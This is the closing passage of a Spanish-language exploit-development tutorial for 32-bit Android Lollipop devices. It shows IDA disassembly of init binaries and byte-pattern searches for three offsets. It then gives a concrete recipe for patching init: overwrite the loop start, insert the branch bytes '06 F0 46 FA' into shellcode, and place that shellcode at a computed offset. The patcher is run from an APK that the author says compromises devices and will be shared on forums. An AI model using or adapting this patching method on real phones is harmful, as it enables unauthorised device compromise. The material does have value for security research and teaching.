Return -----> Retorna a la dirección LR
```

## 9-Exploit universal 32 bits lollipop

Cada dispositivo Android tiene un init diferente, por lo que nuestros offsets utilizados solo servirán para el modelo utilizado en las pruebas un Xperia Z (5.1.1 lollipop).

Nuestra shellcode está codeada en 32 bits pero funcionaría bien en arm64 porque mantiene compatibilidad con arm32 bits.

Pero el tema de los offsets variará dependiendo de cada modelo aun teniendo la misma versión de Android.

Esto me lleva a buscar diferentes init para version 5 de android:

-Init oppo mirror 5 original.

-Init oppo s5 twrp.

-Init recovery 5 original.

-Init xperia twrp.

Ahora tenemos 4 samples mas para analizar con IDA y ver si podemos descubrir algún patrón en común o algun opcode que puedan compartir.

Lo ideal sería tener un montón mas de samples e investigar más, pero por ahora lo dejaremos aquí 5 init lollipop para 32 bits.

Hay que buscar 3 offsets:

**1-Inicio del bucle infinito**

**2-El retorno del bucle infinito**

**3-Offset shellcode.**

### *·Buscar offset Inicio del bucle main*

Investigando un poco encuentro un patrón común cerca del inicio del bucle entre los 5 inits y es el opcode:

**0x48 0x78 0x44 0x? 0x46**

Este patrón se repite solo 1 vez en los ficheros init de muestra que tenemos y no queda muy lejos del inicio del bucle por lo que buscaremos una secuencia de bytes así:

1 byte=**0x48**

2 byte=**0x78**

3 byte=**0x44**

4 byte= Cualquiera nos va bien

5 byte=**0x46**

Codificamos esta búsqueda en c y obtenemos el offset 00008C89 pero este offset no está alineado a 2 bytes por lo que restamos 1 **00008C88**:

```
.text:00008C88 78 44      ADD     R0, PC ; "late-init"
.text:00008C8A 21 46      MOV     R1, R4
.text:00008C8C 00 25      MOVS    R5, #0
.text:00008C8E 06 F0 A3 F9    BL      sub_EFD8 -->1 Salto incondicional
.text:00008C92 AE 48      LDR     R0, =(sub_A23C+1 - 0x8C9C)
.text:00008C94 AE 49      LDR     R1, =(aQueue_property - 0x8CA0)
.text:00008C96 A9 46      MOV     R9, R5
.text:00008C98 78 44      ADD     R0, PC ; sub_A23C
.text:00008C9A A8 46      MOV     R8, R5
.text:00008C9C 79 44      ADD     R1, PC ; "queue_property_triggers"
.text:00008C9E 2C 46      MOV     R4, R5
.text:00008CA0 06 F0 6C FA    BL      sub_F17C ->2 Salto incondicional
.text:00008CA4 AB 49      LDR     R1, =(dword_4550C - 0x8CAC)
.text:00008CA6 AC 4A      LDR     R2, =(unk_45610 - 0x8CB0)
.text:00008CA8 79 44      ADD     R1, PC ; dword_4550C
.text:00008CAA 04 91      STR     R1, [SP,#0xD8+var_C8]
.text:00008CAC 7A 44      ADD     R2, PC ; unk_45610
.text:00008CAE 05 92      STR     R2, [SP,#0xD8+var_C4]
.text:00008CB0 02 F0 D8 F8    BL      sub_AE64 ; Inicio bucle
```

Vemos que hemos obtenido un offset que está muy cerca del inicio del bucle main **00008CB0**.

Podemos sacar la diferencia y sumar pero los otros inits no coinciden en el número de instrucciones hasta el inicio del bucle.

Por lo que si miramos el código tenemos la solución, entre nuestro offset obtenido y el inicio del bucle main hay 2 saltos incondicionales BL resaltados en rosa y luego nuestro inicio del bucle que es otro salto.

Una instrucción BL es un jump incondicional , son 4 bytes, uno de esos bytes debe ser “F0” que es el que define que será una instrucción BL el resto es el offset a donde saltar.

**NOTA:Arm es un poco diferente a x86, cuando se llama a BL, guarda la siguiente dirección a ejecutar (PC+1) en el registro LR por lo que descubrimos que las llamadas a BL son funciones que luego restauran el stack y retornan con un BX LR.**

Si vemos en el código solo hay 2 BL y en los opcodes hasta main solo hay 2 bytes “F0” y el tercer byte “F0” es nuestro offset inicio del bucle.

Codificaremos que se busquen hasta 3 bytes “F0” y luego restamos 1 al offset obtenido para alinearnos y obtenemos nuestro offset en este caso es **00008CB0**.

Ya tenemos nuestro método para parchear el offset del inicio.

- Buscar **0x48 0x78 0x44 0x? 0X46**
- A partir del offset obtenido buscar 3 bytes “F0”, el tercero es el nuestro.
- Restamos 1 al offset.
- Parcheamos en offset 4 bytes con 0x41

## ·Buscar offset final del bucle

Como estamos en el final del bucle y el final del bucle es el final de la función main, podemos buscar la restauración del stack y el pop final, como punto común, esto es en el Xperia Z:

```
.text:00008E10 2B B0      ADD     SP, SP, #0xAC
.text:00008E12 BD E8 F0 8F  POP.W   {R4-R11,PC}
```

Los opcodes:

**2b b0 bd e8 f0 8f**

Son un patrón común entre las muestras init.

Desde nuestro offset a parchear **00008DAC** y el POP **00008E12** obtenido hay una buena distancia y un monton de instrucciones diferentes entre los diferentes inits.

Listo el código entre nuestro offset a parchear y el pop final del main con opcodes resaltados:

```
.text:00008DA8 BA F1 00 0F  CMP.W    R10, #0 ----Instrucción anterior con byte 0
.text:00008DAC 80 DD      BLE     loc_8CB0 --->Offset a parchear: 00008DAC
.text:00008DAE BB 46      MOV     R11, R7
.text:00008DB0 A3 45      CMP     R11, R4
.text:00008DB2 BF F6 7D AF  BGE.W    loc_8CB0
.text:00008DB6 F2 19      ADDS    R2, R6, R7
.text:00008DB8 B2 F8 06 E0  LDRH.W   LR, [R2,#6]
.text:00008DBC 5F EA CE 71  MOVS.W   R1, LR,LSL#31
.text:00008DC0 1C D5      BPL     loc_8DFC
.text:00008DC2 F3 59      LDR     R3, [R6,R7]
.text:00008DC4 03 93      STR     R3, [SP,#0xD8+var_CC]
.text:00008DC6 04 F0 DD F8  BL     sub_CF84
.text:00008DCA 03 99      LDR     R1, [SP,#0xD8+var_CC]
.text:00008DCC 81 42      CMP     R1, R0
.text:00008DCE 02 D1      BNE     loc_8DD6
.text:00008DD0 03 F0 48 FE  BL     sub_CA64
.text:00008DD4 12 E0      B       loc_8DFC
.text:00008DD6 F0 59      LDR     R0, [R6,R7]
.text:00008DD8 03 90      STR     R0, [SP,#0xD8+var_CC]
.text:00008DDA 04 F0 6D FF  BL     sub_DCB8
.text:00008DDE 03 9A      LDR     R2, [SP,#0xD8+var_CC]
.text:00008DE0 82 42      CMP     R2, R0
.text:00008DE2 02 D1      BNE     loc_8DEA
.text:00008DE4 04 F0 12 FF  BL     sub_DC0C
.text:00008DE8 08 E0      B       loc_8DFC
.text:00008DEA F3 59      LDR     R3, [R6,R7]
.text:00008DEC 03 93      STR     R3, [SP,#0xD8+var_CC]
.text:00008DEE 05 F0 B3 F8  BL     sub_DF58
.text:00008DF2 03 99      LDR     R1, [SP,#0xD8+var_CC]
.text:00008DF4 81 42      CMP     R1, R0
.text:00008DF6 01 D1      BNE     loc_8DFC
.text:00008DF8 04 F0 74 FF  BL     sub_DCE4
.text:00008DFC 0B F1 01 0B  ADD.W    R11, R11, #1
.text:00008E00 08 37      ADDS    R7, #8
.text:00008E02 D5 E7      B       loc_8DB0
.text:00008E04 29 9C      LDR     R4, [SP,#0xD8+var_34]
```

```

.text:00008E06 35 68      LDR      R5, [R6]
.text:00008E08 AC 42      CMP      R4, R5
.text:00008E0A 01 D0      BEQ      loc_8E10
.text:00008E0C 21 F0 26 F8 BL      loc_29E5C
.text:00008E10 2B B0      ADD      SP, SP, #0xAC
.text:00008E12 BD E8 F0 8F POP.W    {R4-R11,PC}

```

Pero hay un patrón en común, el byte “0x00” se encuentra justo antes de nuestro offset a parchear, y hasta el POP no hay ningún byte “0x00” en ninguno de los inits.

Este es nuestro punto a parchear, y la instrucción anterior contiene un byte 0x00 ya que es un compare a 0 y en todas las muestras se compara a 0 antes de saltar inicio:

```

.text:00008DA8 BA F1 00 0F CMP.W    R10, #0
.text:00008DAC 80 DD      BLE     loc_8CB0 -->Offset a parchear con salto a shellcode
.text:00008DAE BB 46      MOV     R11, R7

```

Tenemos una excepción, hay una muestra del init twrp recovery, que contiene una comparación a 0 justo despues de nuestro offset a parchear, lo tendremos en cuenta en el parcheador.

Con esto tenemos que:

- Buscamos el patron POP comun: **“2b b0 bd e8 f0 8f”**
- Buscamos el primer byte **“0x00”** desde ese offset hacia atrás.
- Comprobamos la excepción y en ese caso saltamos al byte “0x00” anterior.
- Sumamos 2 al offset obtenido y tenemos nuestro offset a parchear.
- Parcheamos 4 bytes **“06 F0 46 FA”**→-->**BL F23C** -->**jump a nuestra shellcode**

## ·*Buscar offset de la shellcode.*

El parche anterior eran 4 bytes:

**“06 F0 46 FA”**→-->**BL F23C** -→ jump a nuestra shellcode

Este salto se hace en relación al PC(program counter) pero IDA nos muestra el offset al que salta, en realidad la instrucción real hace un salto relativo al PC, es decir:

**BL F23C (IDA)**----->**BL PC+(0x6490)** ----->**BL 8DAC+0x6490**

Debemos colocar nuestra shellcode a 0x6490 bytes despues de nuestro salto a ella, es una zona donde no se ejecuta nada ahora, es la zona de código de inicio ueventd.

Por ejemplo si estamos llamando BL F23C en el offset **0x0008DAC** deberemos escribir la shellcode en 0x8DAC+0x6490=0x0000F23C

Ya tenemos nuestro último componente listo, codificaremos el parcheador en c y será ejecutado por el apk para parchear el /sdcard/init.dmp.



## 10-Nota finales

En este tutorial hemos visto varios aspectos de la seguridad en Android y un poco mas en detalle Selinux.

Esto podría ser una aproximación a un exploit universal lollipop y con pequeñas modificaciones se podría portar a 6.0 y 7.0 y 64 bits.

En el estudio de la vulnerabilidad se ha desarrollado una aplicación Android que comprueba y compromete dispositivos android 32 bits lollipop, será distribuida en foros de desarrollo Android.

Saludos a [tod@s](#) los CrackLatin0s,

Sylkat,